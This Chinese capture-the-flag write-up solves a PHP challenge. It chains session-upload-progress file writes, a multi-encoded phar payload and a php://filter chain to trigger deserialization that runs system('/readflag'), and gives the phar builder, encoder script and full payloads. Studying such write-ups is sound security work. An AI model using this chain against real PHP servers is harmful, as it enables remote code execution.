step 1
搭建容器
教程
A5rZ
题目
github.com
Dockerfile 有点问题,手动修复一下
FROM php:7.2-apacheCOPY ./flag /root
COPY ./readflag /
COPY ./html/ /var/www/html/
COPY ./php.ini /usr/local/etc/php/php.ini
COPY ./readflag /readsecretRUN chmod 755 /var/www/html && chown -R root:www-data /var/www/html && chmod 400 /root/flag && chmod 4111 /readflag
修改php ini
; session.upload_progress.cleanup = On
session.upload_progress.cleanup = Off
不修改的话/tmp里的东西会被删掉,就看不了了
step 2
<?php
$SECRET = `/readsecret`;
include "waf.php";
class User {public $role;function __construct($role) {$this->role = $role;}
}
class Admin{public $code;function __construct($code) {$this->code = $code;}function __destruct() {echo "Admin can play everything!";eval($this->code);}
}
function game($filename) {if (!empty($filename)) {if (waf($filename) && @copy($filename , "/tmp/tmp.tmp")) {echo "Well done!";} else {echo "Copy failed.";}} else {echo "User can play copy game.";}
}
function set_session(){global $SECRET;$data = serialize(new User("user"));$hmac = hash_hmac("sha256", $data, $SECRET);setcookie("session-data", sprintf("%s-----%s", $data, $hmac));
}
function check_session() {global $SECRET;$data = $_COOKIE["session-data"];list($data, $hmac) = explode("-----", $data, 2);if (!isset($data, $hmac) || !is_string($data) || !is_string($hmac) || !hash_equals(hash_hmac("sha256", $data, $SECRET), $hmac)) {die("hacker!");}$data = unserialize($data);if ( $data->role === "user" ){game($_GET["filename"]);}else if($data->role === "admin"){return new Admin($_GET['code']);}return 0;
}
if (!isset($_COOKIE["session-data"])) {set_session();highlight_file(__FILE__);
}else{highlight_file(__FILE__);check_session();
}
User can play copy game.
国城杯n0ob_un4er-wp - Litsasuk - 博客园
PHP: Session 上传进度 - Manual
浅谈 SESSION_UPLOAD_PROGRESS 的利用-腾讯云开发者社区-腾讯云
这里第二个file是什么不重要,只要是文件就可以
curl http://127.0.0.1:1337/ -H 'Cookie: PHPSESSID=litsasuk' -F 'PHP_SESSION_UPLOAD_PROGRESS=[Your_data]' -F 'file=@/etc/passwd'
root@07710596cbbe:/# cd ./tmp
root@07710596cbbe:/tmp# ls
sess_litsasuk
root@07710596cbbe:/tmp# cat sess_litsasuk
upload_progress_[Your_data]|a:5:{s:10:"start_time";i:1733990981;s:14:"content_length";i:3212;s:15:"bytes_processed";i:3212;s:4:"done";b:1;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:6:"passwd";s:8:"tmp_name";s:14:"/tmp/phpAPOEyx";s:5:"error";i:0;s:4:"done";b:1;s:10:"start_time";i:1733990981;s:15:"bytes_processed";i:2887;}}}
step 3
copy可以通过伪协议触发phar反序列化
<?php
highlight_file(__FILE__);
class Admin{public $code;
}
@unlink('test.phar');
$phar=new Phar('test.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$o=new Admin();
$o ->code="system('/readflag');";
$phar->setMetadata($o);
$phar->addFromString("test.txt","test");
$phar->stopBuffering();
?>
step 4
试验
<?php
// 文件名
$inputFile = 'test'; // 输入文件名
$outputFile = 'test'; // 输出文件名 // 打开输入文件并读取内容
$inputHandle = fopen("php://filter/read=convert.base64-decode/resource=$inputFile", 'r');
if (!$inputHandle) { die("无法打开输入文件: $inputFile");
} // 读取解码后的内容
$decodedContent = stream_get_contents($inputHandle);
fclose($inputHandle); // 打开输出文件并写入解码后的内容
$outputHandle = fopen($outputFile, 'w');
if (!$outputHandle) { die("无法打开输出文件: $outputFile");
} fwrite($outputHandle, $decodedContent);
fclose($outputHandle); echo "文件解码并写回成功!";
?>
原理部分
字符串“Man”的Base64编码
-
输入数据:
- 字符串“Man”的ASCII码是:
M: 77 (01001101) a: 97 (01100001) n: 110 (01101110)
- 合并成二进制数据:
01001101 01100001 01101110
- 字符串“Man”的ASCII码是:
-
分成6位块:
- 划分后得到:
010011 010110 000101 101110
- 划分后得到:
-
转换为十进制:
- 每个6位块对应的整数是:
19 22 5 46
- 每个6位块对应的整数是:
-
映射到Base64字符集:
- 使用Base64字符表对应的字符是:
T W F u
- 使用Base64字符表对应的字符是:
因此,字符串“Man”被Base64编码后就是“TWFu”。
字符串“Ma”的Base64编码
-
输入数据:
- 字符串“Ma”的ASCII码是:
M: 77 (01001101) a: 97 (01100001)
- 字符串“Ma”的ASCII码是:
-
补齐到3字节:
- 补齐后变成:
01001101 01100001 00000000
- 补齐后变成:
-
分成6位块:
- 划分后得到:
010011 010110 000100 000000
- 划分后得到:
-
转换为十进制:
- 每个6位块对应的整数是:
19 22 4 0
- 每个6位块对应的整数是:
-
映射到Base64字符集:
- 使用Base64字符表对应的字符是:
T W E A
- 使用Base64字符表对应的字符是:
-
添加填充字符:
- 因为原始数据不足3字节,我们在末尾添加一个等号(
=
),表示有1个字节填充。 - 最终结果是:
TWE=
- 因为原始数据不足3字节,我们在末尾添加一个等号(
试验开始
d2lu
decode->
win
and
----d2lu
decode->
win
得出结论phpbase64会忽视base64表以外的内容
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
upload_progress_ 的有效字符只有14个,所以
upload_progress_aad2lu|a:5:{s:10:"start_time";i:1733990981;s:14:"content_length";i:3212;s:15:"bytes_processed";i:3212;s:4:"done";b:1;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:6:"passwd";s:8:"tmp_name";s:14:"/tmp/phpAPOEyx";s:5:"error";i:0;s:4:"done";b:1;s:10:"start_time";i:1733990981;s:15:"bytes_processed";i:2887;}}}
decode->
簷hi趉?薏茪wink?宜Zb欒碉}O|滞xr夗z{ezx-?鲎k5寮瓃蔾∏鏱適v硣h濇醭椻曤?钔t~'v?奧v惟j?v?殭跈?沱fa??,l尻擘复硣h濇醭],氮矶)瀷^鬟遲魍l讝虻?畤睬潒o<
我们能看到win在其中
我们再双重编码一下win
ZDJsdUNnPT0
upload_progress_aaZDJsdUNnPT0|a:5:{s:10:"start_time";i:1733990981;s:14:"content_length";i:3212;s:15:"bytes_processed";i:3212;s:4:"done";b:1;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:6:"passwd";s:8:"tmp_name";s:14:"/tmp/phpAPOEyx";s:5:"error";i:0;s:4:"done";b:1;s:10:"start_time";i:1733990981;s:15:"bytes_processed";i:2887;}}}
簷hi趉?薏茪d2luCg==嫱t仓卅z-{?}舆5砠^炠^?a媫第蛓o+^矚鑡?y胤踋?y絣屮频婩怀]夐]潻灣団曤8潻灣猌蔡乘f蛒榠 髣?9z鸿?,嶷'y絣譑-j籱奼⒆谨鬏=骩5寮瓃蔾∏鏱巯;
我们能看到d2lu
在其中,但是有一个问题,前面的有效字符不够了,只有两个破坏对齐了就没办法正确解码了,我们可以试试这样
编码 222—d2lu
YWEtLS1kMmx1
upload_progress_aaMjItLS1kMmx1=|a:5:{s:10:"start_time";i:1733990981;s:14:"content_length";i:3212;s:15:"bytes_processed";i:3212;s:4:"done";b:1;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:6:"passwd";s:8:"tmp_name";s:14:"/tmp/phpAPOEyx";s:5:"error";i:0;s:4:"done";b:1;s:10:"start_time";i:1733990981;s:15:"bytes_processed";i:2887;}}}
decode->
簷hi趉?薏茪22---d2luk?宜Zb欒碉}O|滞xr夗z{ezx-?鲎k5寮瓃蔾∏鏱適v硣h濇醭椻曤?钔t~'v?奧v惟j?v?殭跈?沱fa??,l尻擘复硣h濇醭],氮矶)瀷^鬟遲魍l讝虻?畤睬潒o<
失败了,我们换个方法
Quoted-Printable 是一种用于编码数据的方式,特别是在电子邮件传输(MIME 标准)中广泛使用。它的主要目的是确保数据在不同系统之间传输时保持一致性,避免因编码问题导致的数据损坏。
特点:
- 可读性:大部分可打印的ASCII字符在编码后保持不变,因此人类可以在一定程度上阅读编码后的内容。
- 安全性:非ASCII字符和特殊字符会被编码为
=XX
的格式,其中XX
是该字符的十六进制ASCII码。 - 换行处理:长行会被拆分,并在行尾使用
=
表示续行。
Quoted-Printable 解码
Quoted-Printable 解码 是指将使用 Quoted-Printable 编码的数据转换回原始的可读格式。这个过程包括:
- 识别转义序列:查找以
=
开头的序列,这些序列表示特定的字符。例如,=3D
表示=
字符,=0A
表示换行符。 - 转换字符:将这些转义序列转换回它们对应的原始字符。
- 处理换行:移除行尾的
=
并合并拆分的行。
这个东西编码后的密文只会是3的倍数,我们直接用wp的有效负载研究原理
<?php // 假设这是经过编码处理的最终 Base64 编码字符串
$encoded_string = file_get_contents('./test.txt'); // 第一步:Base64 解码
$base64_decoded = base64_decode($encoded_string);
$base64_decoded = base64_decode($base64_decoded);
$base64_decoded = base64_decode($base64_decoded);
echo "Step 1 - Base64 Decode: \n";
echo $base64_decoded . "\n\n"; // 第二步:Quoted-Printable 解码
$quoted_printable_decoded = quoted_printable_decode($base64_decoded);
echo "Step 2 - Quoted-Printable Decode: \n";
echo $quoted_printable_decoded . "\n\n"; // 第四步:Base64 解码(再次)
$final_decoded = base64_decode($quoted_printable_decoded);
echo "Step 4 - Final Base64 Decode: \n";
echo $final_decoded . "\n\n";
?>
import base64# 读取文件内容
with open('test.phar', 'rb') as file:file_content = file.read()# 第一步:将文件内容进行 Base64 编码
base64_encoded = base64.b64encode(file_content).decode('utf-8')# 第二步:将 Base64 编码后的内容转换为指定的格式
encoded_str = ''.join(['=' + hex(ord(char))[2:] + '=00' for char in base64_encoded]).upper()# 打印结果
print(encoded_str)
upload_progress_ZZVUZSVmQxQlVRWGRRVkZFd1VGUkJkMUJVVFRWUVZFRjNVRlJqTTFCVVFYZFFWRmw0VUZSQmQxQlVVVFJRVkVGM1VGUlJlRkJVUVhkUVZGa3pVRlJCZDFCVVZUUlFWRUYzVUZSTmVGQlVRWGRRVkUwMVVGUkJkMUJVVVRWUVZFRjNVRlJWZUZCVVFYZFFWRlV4VUZSQmQxQlVZelJRVkVGM1VGUlZNVkJVUVhkUVZGVTBVRlJCZDFCVVRYZFFWRUYzVUZSU1JsQlVRWGRRVkZWM1VGUkJkMUJVVlRCUVZFRjNVRlJWTWxCVVFYZFFWRkY1VUZSQmQxQlVVa0pRVkVGM1VGUlZNRkJVUVhkUVZGRXhVRlJCZDFCVVZUSlFWRUYzVUZSVmVsQlVRWGRRVkZKRFVGUkJkMUJVVVhwUVZFRjNVRlJhUTFCVVFYZFFWRTB6VUZSQmQxQlVVVFZRVkVGM1VGUlJNRkJVUVhkUVZFMDBVRlJCZDFCVVNrTlFWRUYzVUZSUk1GQlVRWGRRVkZWNFVGUkJkMUJVWTNkUVZFRjNVRlJqTUZCVVFYZFFWRkY0VUZSQmQxQlVVWGhRVkVGM1VGUlJlRkJVUVhkUVZGRjRVRlJCZDFCVVVYaFFWRUYzVUZSVmVGQlVRWGRRVkZGNFVGUkJkMUJVVVhoUVZFRjNVRlJSZUZCVVFYZFFWRkY1VUZSQmQxQlVVVEZRVkVGM1VGUlJlRkJVUVhkUVZGRjRVRlJCZDFCVVVYaFFWRUYzVUZSUmVGQlVRWGRRVkZGNVVGUkJkMUJVVVhoUVZFRjNVRlJSZUZCVVFYZFFWRkY0VUZSQmQxQlVVWGhRVkVGM1VGUlJlRkJVUVhkUVZGRjRVRlJCZDFCVVVYaFFWRUYzVUZSTmVsQlVRWGRRVkZGNFVGUkJkMUJVVVhoUVZFRjNVRlJSZUZCVVFYZFFWRkY0VUZSQmQxQlVWVEJRVkVGM1VGUmtRbEJVUVhkUVZGcEhVRlJCZDFCVVRYaFFWRUYzVUZSU1IxQlVRWGRRVkZrMVVGUkJkMUJVVWtKUVZFRjNVRlJSZVZCVVFYZFFWRlpDVUZSQmQxQlVVVE5RVkVGM1VGUk5lRkJVUVhkUVZHTjNVRlJCZDFCVVdYbFFWRUYzVUZSWk5WQlVRWGRRVkZFMVVGUkJkMUJVVFRKUVZFRjNVRlJTUlZCVVFYZFFWRlV3VUZSQmQxQlVZM2RRVkVGM1VGUk5NMUJVUVhkUVZGbDZVRlJCZDFCVVpFSlFWRUYzVUZSYVIxQlVRWGRRVkUxM1VGUkJkMUJVVWtkUVZFRjNVRlJaTlZCVVFYZFFWRkpDVUZSQmQxQlVXa0pRVkVGM1VGUlplVkJVUVhkUVZFMTVVRlJCZDFCVVZYbFFWRUYzVUZSYVJGQlVRWGRRVkZFMVVGUkJkMUJVV2tKUVZFRjNVRlJqTUZCVVFYZFFWR1JDVUZSQmQxQlVVa2RRVkVGM1VGUmFRbEJVUVhkUVZGRTFVRlJCZDFCVVl6TlFWRUYzVUZSU1IxQlVRWGRRVkZrMVVGUkJkMUJVVWtKUVZFRjNVRlJrUWxCVVFYZFFWRmt4VUZSQmQxQlVWVFJRVkVGM1VGUlNSbEJVUVhkUVZFMTNVRlJCZDFCVVZrSlFWRUYzVUZSVk0xQlVRWGRRVkUxM1VGUkJkMUJVV2tkUVZFRjNVRlJTUWxCVVFYZFFWR00xVUZSQmQxQlVUVFZRVkVGM1VGUmpOVkJVUVhkUVZGWkNVRlJCZDFCVVZUTlFWRUYzVUZSUk1sQlVRWGRRVkZwRFVGUkJkMUJVVmtKUVZFRjNVRlJhUlZCVVFYZFFWR00wVUZSQmQxQlVXVFJRVkVGM1VGUldRbEJVUVhkUVZHTTFVRlJCZDFCVVdYcFFWRUYzVUZSamQxQlVRWGRRVkZKSFVGUkJkMUJVWXpWUVZFRjNVRlJSTlZCVVFYZFFWRTB6VUZSQmQxQlVXVEpRVkVGM1VGUlZlRkJVUVhkUVZGa3pVRlJCZDFCVVVYaFFWRUYzVUZSUmVGQlVRWGRRVkZGNFVGUkJkMUJVVVhsUVZFRjNVRlJOZDFCVVFYZFFWRlpDVUZSQmQxQlVWVFJRVkVGM1VGUlNSbEJVUVhkUVZFMTNVRlJCZDFCVVVrUlFWRUYzVUZSYVJsQlVRWGRRVkZWNVVGUkJkMUJVVFRCUVZFRjNVRlJaTUZCVVFYZFFWRkY0VUZSQmQxQlVWWGhRVkVGM1VGUlJlRkJVUVhkUVZGRjRVRlJCZDFCVVVYaFFWRUYzVUZSUk1GQlVRWGRRVkZrd1VGUkJkMUJVVlRSUVZFRjNVRlJSZVZCVVFYZFFWR013VUZSQmQxQlVXa1pRVkVGM1VGUlJlVkJVUVhkUVZGRjRVRlJCZDFCVVVYaFFWRUYzVUZSUmVGQlVRWGRRVkZGNFVGUkJkMUJVVVhoUVZFRjNVRlJqTkZCVVFYZFFWRXBEVUZSQmQxQlVXVEpRVkVGM1VGUk5OVkJVUVhkUVZGazFVRlJCZDFCVVRYbFFWRUYzVUZSUmVGQlVRWGRRVkZWNFVGUkJkMUJVVVhoUVZFRjNVRlJSZUZCVVFYZFFWRkY0VUZSQmQxQlVVWGhRVkVGM1VGUlJlRkJVUVhkUVZGRjRVRlJCZDFCVVVYaFFWRUYzVUZSUk5GQlVRWGRRVkZWNVVGUkJkMUJVV2tSUVZFRjNVRlJaZWxCVVFYZFFWRTE2VUZSQmQxQlVWWGxRVkVGM1VGUlNRbEJVUVhkUVZGVjVVRlJCZDFCVVVrZFFWRUYzVUZSTmQxQlVRWGRRVkdNeVVGUkJkMUJVVlRWUVZFRjNVRlJqTVZCVVFYZFFWRkpEVUZSQmQxQlVUVEZRVkVGM1VGUk5NVkJVUVhkUVZGSkNVRlJCZDFCVVRYcFFWRUYzVUZSV1FsQlVRWGRRVkdONVVGUkJkMUJVU2tOUVZFRjNVRlJSTkZCVVFYZFFWR04zVUZSQmQxQlVUVEJRVkVGM1VGUk5NMUJVUVhkUVZGRXlVRlJCZDFCVVVrTlFWRUYzVUZSWk5GQlVRWGRRVkZwSFVGUkJkMUJVVlRCUVZFRjNVRlJaTWxCVVFYZFFWRkV6VUZSQmQxQlVZek5RVkVGM1VGUlJOVkJVUVhkUVZGRjRVRlJCZDFCVVVYaFFWRUYzVUZSUmVGQlVRWGRRVkZGNVVGUkJkMUJVVVRSUVZFRjNVRlJWZUZCVVFYZFFWRnBEVUZSQmQxQlVUWGhRVkVGM1VGUlJlbEJVUVhkUlZVWkNVVlZHUWxGVlJrSlJWVVpD|a:5:{s:10:"start_time";i:1733990981;s:14:"content_length";i:3212;s:15:"bytes_processed";i:3212;s:4:"done";b:1;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:6:"passwd";s:8:"tmp_name";s:14:"/tmp/phpAPOEyx";s:5:"error";i:0;s:4:"done";b:1;s:10:"start_time";i:1733990981;s:15:"bytes_processed";i:2887;}}}
注意,必须填充A
(解码后为0)到三次base64加密中没有=
Step 1 - Base64 Decode: =50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=70=00=74=00=41=00=41=00=41=00=41=00=41=00=51=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=33=00=41=00=41=00=41=00=41=00=54=00=7A=00=6F=00=31=00=4F=00=69=00=4A=00=42=00=5A=00=47=00=31=00=70=00=62=00=69=00=49=00=36=00=4D=00=54=00=70=00=37=00=63=00=7A=00=6F=00=30=00=4F=00=69=00=4A=00=6A=00=62=00=32=00=52=00=6C=00=49=00=6A=00=74=00=7A=00=4F=00=6A=00=49=00=77=00=4F=00=69=00=4A=00=7A=00=65=00=58=00=4E=00=30=00=5A=00=57=00=30=00=6F=00=4A=00=79=00=39=00=79=00=5A=00=57=00=46=00=6B=00=5A=00=6D=00=78=00=68=00=5A=00=79=00=63=00=70=00=4F=00=79=00=49=00=37=00=66=00=51=00=67=00=41=00=41=00=41=00=42=00=30=00=5A=00=58=00=4E=00=30=00=4C=00=6E=00=52=00=34=00=64=00=41=00=51=00=41=00=41=00=41=00=44=00=64=00=58=00=42=00=74=00=6E=00=42=00=41=00=41=00=41=00=41=00=41=00=78=00=2B=00=66=00=39=00=69=00=32=00=41=00=51=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=48=00=52=00=6C=00=63=00=33=00=52=00=4A=00=52=00=4F=00=30=00=76=00=59=00=75=00=4B=00=35=00=35=00=4A=00=33=00=5A=00=72=00=2B=00=48=00=70=00=34=00=37=00=46=00=4B=00=68=00=6F=00=54=00=66=00=47=00=77=00=49=00=41=00=41=00=41=00=42=00=48=00=51=00=6B=00=31=00=43=00AAAAAAAAAAAAwټ Step 2 - Quoted-Printable Decode: PD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8+DQptAAAAAQAAABEAAAABAAAAAAA3AAAATzo1OiJBZG1pbiI6MTp7czo0OiJjb2RlIjtzOjIwOiJzeXN0ZW0oJy9yZWFkZmxhZycpOyI7fQgAAAB0ZXN0LnR4dAQAAADdXBtnBAAAAAx+f9i2AQAAAAAAAHRlc3RJRO0vYuK55J3Zr+Hp47FKhoTfGwIAAABHQk1CAAAAAAAAAAAAwټ Step 4 - Final Base64 Decode: m7O:5:"Admin":1:{s:4:"code";s:20:"system('/readflag');";}test.txt�\g~ضtestID�/b��ٯ���J���GBMB
不填充ZZ填充FF也可以,主要在于其解码后字符化为的有效字符数是否能对齐(自己解码试试!)
Step 1 - Base64 Decode: =50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=70=00=74=00=41=00=41=00=41=00=41=00=41=00=51=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=33=00=41=00=41=00=41=00=41=00=54=00=7A=00=6F=00=31=00=4F=00=69=00=4A=00=42=00=5A=00=47=00=31=00=70=00=62=00=69=00=49=00=36=00=4D=00=54=00=70=00=37=00=63=00=7A=00=6F=00=30=00=4F=00=69=00=4A=00=6A=00=62=00=32=00=52=00=6C=00=49=00=6A=00=74=00=7A=00=4F=00=6A=00=49=00=77=00=4F=00=69=00=4A=00=7A=00=65=00=58=00=4E=00=30=00=5A=00=57=00=30=00=6F=00=4A=00=79=00=39=00=79=00=5A=00=57=00=46=00=6B=00=5A=00=6D=00=78=00=68=00=5A=00=79=00=63=00=70=00=4F=00=79=00=49=00=37=00=66=00=51=00=67=00=41=00=41=00=41=00=42=00=30=00=5A=00=58=00=4E=00=30=00=4C=00=6E=00=52=00=34=00=64=00=41=00=51=00=41=00=41=00=41=00=44=00=64=00=58=00=42=00=74=00=6E=00=42=00=41=00=41=00=41=00=41=00=41=00=78=00=2B=00=66=00=39=00=69=00=32=00=41=00=51=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=48=00=52=00=6C=00=63=00=33=00=52=00=4A=00=52=00=4F=00=30=00=76=00=59=00=75=00=4B=00=35=00=35=00=4A=00=33=00=5A=00=72=00=2B=00=48=00=70=00=34=00=37=00=46=00=4B=00=68=00=6F=00=54=00=66=00=47=00=77=00=49=00=41=00=41=00=41=00=42=00=48=00=51=00=6B=00=31=00=43=00AAAAAAAAAAAAwټ Step 2 - Quoted-Printable Decode: PD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8+DQptAAAAAQAAABEAAAABAAAAAAA3AAAATzo1OiJBZG1pbiI6MTp7czo0OiJjb2RlIjtzOjIwOiJzeXN0ZW0oJy9yZWFkZmxhZycpOyI7fQgAAAB0ZXN0LnR4dAQAAADdXBtnBAAAAAx+f9i2AQAAAAAAAHRlc3RJRO0vYuK55J3Zr+Hp47FKhoTfGwIAAABHQk1CAAAAAAAAAAAAwټ Step 4 - Final Base64 Decode: m7O:5:"Admin":1:{s:4:"code";s:20:"system('/readflag');";}test.txt�\g~ضtestID�/b��ٯ���J���GBMB
step 5
从tmp中解码文件并解析phar中的test.txt文件触发反序列化来执行命令(如果没关php默认清除需要条件竞争)
?filename=php://filter/read=convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=filename
phar:///tmp/tmp.tmp/test.txt